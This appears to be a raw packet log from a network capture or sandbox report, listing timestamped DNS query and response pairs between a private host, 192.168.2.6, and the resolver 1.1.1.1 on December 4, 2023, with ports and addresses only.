Dec 4, 2023 12:34:45.682743073 CET	53	51009	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:46.525543928 CET	62152	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:46.625319958 CET	53	62152	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:46.627789021 CET	59051	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:46.725761890 CET	53	59051	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:46.838567972 CET	57932	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:46.936439991 CET	53	57932	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:46.944286108 CET	53981	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:47.047629118 CET	53	53981	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:47.150600910 CET	61839	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:47.247474909 CET	53	61839	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:47.250252962 CET	56697	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:47.347696066 CET	53	56697	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:47.463190079 CET	52917	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:47.839881897 CET	53	52917	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:47.842647076 CET	54572	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:48.184587955 CET	53	54572	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:48.292059898 CET	53911	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:48.388643980 CET	53	53911	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:48.589196920 CET	50858	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:48.687933922 CET	53	50858	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:48.704065084 CET	62772	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:48.800064087 CET	53	62772	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:48.915997982 CET	65495	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:49.012315989 CET	53	65495	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:49.019388914 CET	62506	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:49.118140936 CET	53	62506	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:49.228915930 CET	61693	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:49.547508001 CET	53	61693	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:49.562227011 CET	55100	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:49.663371086 CET	53	55100	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:49.776050091 CET	51661	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:50.023746967 CET	53	51661	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:50.234066963 CET	59776	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:50.331908941 CET	53	59776	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:50.340822935 CET	60777	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:50.437705994 CET	53	60777	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:50.541065931 CET	56693	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:50.640779972 CET	53	56693	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:50.647948980 CET	57120	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:50.748467922 CET	53	57120	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:50.853795052 CET	52830	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:50.952457905 CET	53	52830	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:50.960903883 CET	57608	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:51.059581995 CET	53	57608	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:51.166599035 CET	63529	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:51.264550924 CET	53	63529	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:51.472336054 CET	59559	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:51.568541050 CET	53	59559	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:51.571125984 CET	59915	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:51.667609930 CET	53	59915	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:51.776398897 CET	57487	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:51.972954035 CET	53	57487	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:51.991143942 CET	63518	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:52.088252068 CET	53	63518	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:52.197736979 CET	59367	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:52.532841921 CET	53	59367	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:52.542573929 CET	58807	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:53.556241035 CET	58807	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:53.578358889 CET	53	58807	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:53.650999069 CET	53	58807	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:53.681629896 CET	65459	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:53.927025080 CET	53	65459	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:53.936317921 CET	65293	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:54.189981937 CET	53	65293	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:54.307018995 CET	49320	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:54.592268944 CET	53	49320	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:54.602705956 CET	64032	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:54.806988955 CET	53	64032	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:54.926779985 CET	59967	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:55.244152069 CET	53	59967	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:55.257884026 CET	55960	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:55.356165886 CET	53	55960	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:55.666512966 CET	52560	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:55.926377058 CET	53	52560	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:57.280309916 CET	63320	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:57.539354086 CET	53	63320	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:57.650913000 CET	59237	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:57.966062069 CET	53	59237	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:57.974776030 CET	50683	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:58.293715954 CET	53	50683	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:58.400695086 CET	49894	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:58.657015085 CET	53	49894	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:58.673455954 CET	49535	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:58.771517992 CET	53	49535	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:58.884912968 CET	57088	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:58.984467983 CET	53	57088	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:58.992851973 CET	50171	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:59.097712040 CET	53	50171	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:59.213404894 CET	64686	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:59.409493923 CET	53	64686	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:59.422157049 CET	59564	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:59.518774986 CET	53	59564	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:59.635121107 CET	54231	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:00.169708014 CET	53	54231	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:00.180016041 CET	57326	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:00.503547907 CET	53	57326	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:00.619668961 CET	62584	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:00.716732979 CET	53	62584	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:00.740740061 CET	61773	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:00.837255001 CET	53	61773	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:00.948386908 CET	54335	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:01.271373034 CET	53	54335	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:01.282649040 CET	63476	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:01.380096912 CET	53	63476	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:01.494407892 CET	54519	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:01.594923019 CET	53	54519	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:01.608922958 CET	50955	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:01.709017992 CET	53	50955	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:01.822722912 CET	65090	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:02.010881901 CET	53	65090	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:02.388506889 CET	50606	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:02.484740973 CET	53	50606	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:02.511543989 CET	61796	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:02.607387066 CET	53	61796	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:02.713227987 CET	63824	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:03.057169914 CET	53	63824	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:03.076080084 CET	64853	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:03.429030895 CET	53	64853	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:03.541390896 CET	54608	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:03.637481928 CET	53	54608	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:03.822144032 CET	51146	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:03.919428110 CET	53	51146	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:03.933495045 CET	61466	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:04.030114889 CET	53	61466	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:04.135255098 CET	53043	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:04.234963894 CET	53	53043	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:04.462969065 CET	63119	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:04.558204889 CET	53	63119	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:04.595251083 CET	49238	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:04.691602945 CET	53	49238	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:04.807579994 CET	63872	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:05.140290022 CET	53	63872	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:05.163952112 CET	55877	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:05.259432077 CET	53	55877	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:05.371001005 CET	61655	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:05.469369888 CET	53	61655	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:05.488815069 CET	54538	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:05.747710943 CET	53	54538	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:05.856003046 CET	53744	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:06.147166967 CET	53	53744	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:06.177026987 CET	53621	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:06.366257906 CET	53	53621	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:06.479093075 CET	63637	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:06.727205038 CET	53	63637	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:06.969886065 CET	65278	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:07.069505930 CET	53	65278	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:07.094763041 CET	63277	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:07.191463947 CET	53	63277	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:07.307725906 CET	57023	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:07.681231022 CET	53	57023	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:07.699619055 CET	57244	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:07.888578892 CET	53	57244	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:07.995213985 CET	50452	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:08.241740942 CET	53	50452	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:08.259001017 CET	56716	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:08.354439020 CET	53	56716	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:08.471221924 CET	56820	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:09.463454008 CET	56820	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:09.468352079 CET	53	56820	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:09.481728077 CET	50716	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:09.558379889 CET	53	56820	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:10.084268093 CET	53	50716	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:10.197702885 CET	50540	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:10.386024952 CET	53	50540	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:10.404439926 CET	56207	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:10.501102924 CET	53	56207	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:10.604078054 CET	51670	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:10.925894022 CET	53	51670	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:10.937874079 CET	49244	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:11.276525974 CET	53	49244	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:11.392055988 CET	50175	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:11.490825891 CET	53	50175	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:11.507446051 CET	59064	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:11.606282949 CET	53	59064	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:11.714471102 CET	62975	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:11.904639006 CET	53	62975	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:11.917659044 CET	63886	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:12.110167980 CET	53	63886	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:12.213709116 CET	60770	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:12.566761017 CET	53	60770	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:12.579909086 CET	63934	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:12.932876110 CET	53	63934	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:13.045034885 CET	53005	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:13.646653891 CET	53	53005	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:13.673237085 CET	58587	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:13.995922089 CET	53	58587	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:14.104278088 CET	53737	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:14.295300007 CET	53	53737	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:14.324106932 CET	61472	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:14.513676882 CET	53	61472	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:14.619699001 CET	65535	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:14.720004082 CET	53	65535	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:14.725507975 CET	64298	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:14.828599930 CET	53	64298	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:14.933077097 CET	56906	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:15.192995071 CET	53	56906	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:15.211957932 CET	57694	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:15.309521914 CET	53	57694	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:15.433804035 CET	57291	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:15.758527994 CET	53	57291	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:15.773833036 CET	53282	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:15.870759964 CET	53	53282	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:15.979724884 CET	52042	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:16.078543901 CET	53	52042	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:16.092664957 CET	52732	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:16.190781116 CET	53	52732	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:16.308039904 CET	64316	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:16.651439905 CET	53	64316	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:16.659580946 CET	60304	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:17.002233028 CET	53	60304	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:17.135093927 CET	58586	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:17.330200911 CET	53	58586	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:17.357095003 CET	63848	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:17.547293901 CET	53	63848	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:17.650593996 CET	54048	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:18.465742111 CET	53	54048	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:18.477869987 CET	50385	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:18.576291084 CET	53	50385	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:18.682079077 CET	57687	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:18.869139910 CET	53	57687	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:18.880367994 CET	61437	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:19.068664074 CET	53	61437	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:19.198534966 CET	65285	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:19.297344923 CET	53	65285	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:19.314064026 CET	51803	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:19.632862091 CET	53	51803	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:19.789489985 CET	52010	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:19.887953043 CET	53	52010	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:19.921295881 CET	60405	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:20.019687891 CET	53	60405	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:20.136183023 CET	63121	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:20.236865997 CET	53	63121	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:20.258903980 CET	64028	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:20.358021975 CET	53	64028	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:20.464870930 CET	63256	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:20.841217041 CET	53	63256	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:20.844885111 CET	56828	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:21.033195019 CET	53	56828	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:21.151024103 CET	60191	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:21.249089956 CET	53	60191	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:21.427541018 CET	63961	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:21.523387909 CET	53	63961	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:21.535327911 CET	64319	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:21.631113052 CET	53	64319	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:21.744570971 CET	54984	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:21.843213081 CET	53	54984	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:22.022874117 CET	57155	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:22.119385958 CET	53	57155	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:22.138525963 CET	62985	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:22.234188080 CET	53	62985	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:22.338383913 CET	55656	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:22.754518986 CET	53	55656	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:22.964808941 CET	54508	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:23.060596943 CET	53	54508	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:23.062150955 CET	62718	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:23.157918930 CET	53	62718	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:23.260494947 CET	51910	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:23.358824015 CET	53	51910	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:23.371198893 CET	63457	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:23.466788054 CET	53	63457	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:23.572670937 CET	54095	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:23.762702942 CET	53	54095	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:23.773991108 CET	53457	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:23.966619968 CET	53	53457	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:24.095138073 CET	62098	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:24.284081936 CET	53	62098	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:24.287275076 CET	54463	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:24.383435965 CET	53	54463	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:24.494782925 CET	62929	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:24.827466965 CET	53	62929	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:24.841249943 CET	50825	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:25.177033901 CET	53	50825	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:25.291188002 CET	53829	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:25.388690948 CET	53	53829	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:25.400764942 CET	58956	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:25.601058006 CET	53	58956	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:25.713351011 CET	50040	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:25.811748028 CET	53	50040	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:25.985975027 CET	64207	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:26.082242966 CET	53	64207	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:26.088641882 CET	49458	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:26.185096025 CET	53	49458	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:26.370316982 CET	54826	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:26.896061897 CET	53	54826	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:26.923248053 CET	49446	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:27.021617889 CET	53	49446	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:27.135162115 CET	49186	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:27.477335930 CET	53	49186	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:27.488795042 CET	50049	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:27.830912113 CET	53	50049	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:27.948431969 CET	62884	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:28.047039986 CET	53	62884	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:28.052742004 CET	51497	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:28.153695107 CET	53	51497	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:28.886862993 CET	58571	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:28.991288900 CET	53	58571	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:31.131433010 CET	58342	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:31.226653099 CET	53	58342	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:31.234303951 CET	61444	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:31.329260111 CET	53	61444	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:31.431968927 CET	51844	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:31.530793905 CET	53	51844	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:31.540822983 CET	63046	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:31.646858931 CET	53	63046	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:31.762701988 CET	59879	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:31.859299898 CET	53	59879	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:31.866826057 CET	50704	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:31.963290930 CET	53	50704	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:32.073923111 CET	64458	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:32.446953058 CET	53	64458	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:32.473330021 CET	57111	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:32.664150953 CET	53	57111	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:32.775662899 CET	54981	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:32.963721037 CET	53	54981	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:32.969868898 CET	62861	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:33.163072109 CET	53	62861	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:33.275422096 CET	49859	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:33.647733927 CET	53	49859	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:33.653708935 CET	58014	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:33.842246056 CET	53	58014	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:33.964293003 CET	61495	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:34.159008980 CET	53	61495	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:34.168850899 CET	55438	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:34.360414982 CET	53	55438	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:34.464454889 CET	60168	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:34.563184977 CET	53	60168	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:34.568326950 CET	54909	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:34.672975063 CET	53	54909	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:34.776190042 CET	59071	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:34.969131947 CET	53	59071	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:34.977740049 CET	49766	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:35.166815042 CET	53	49766	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:35.277339935 CET	63940	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:35.374270916 CET	53	63940	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:35.377039909 CET	52668	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:35.473660946 CET	53	52668	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:35.588207960 CET	52379	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:36.271927118 CET	53	52379	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:36.280616999 CET	64065	53	192.168.2.6	1.1.1.1
